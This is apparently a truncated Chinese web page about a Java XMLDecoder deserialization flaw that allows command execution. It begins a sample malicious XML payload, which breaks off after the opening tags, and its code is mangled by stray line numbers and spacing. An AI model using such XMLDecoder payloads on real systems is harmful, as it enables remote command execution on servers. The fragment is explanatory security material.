XMLDecoder反序列化漏洞

Java 调用XMLDecoder解析XML文件的时候,存在命令执行漏洞。 样例XML文件如下所示: 1 2 3 4 5 6 7 8 9 10 11 <? xml  version = "1.0"  encoding = "UTF-8" ?> < java  version = "1.8.0_131"  class = "java.beans.XMLDecoder" >      < object
相关文章
相关标签/搜索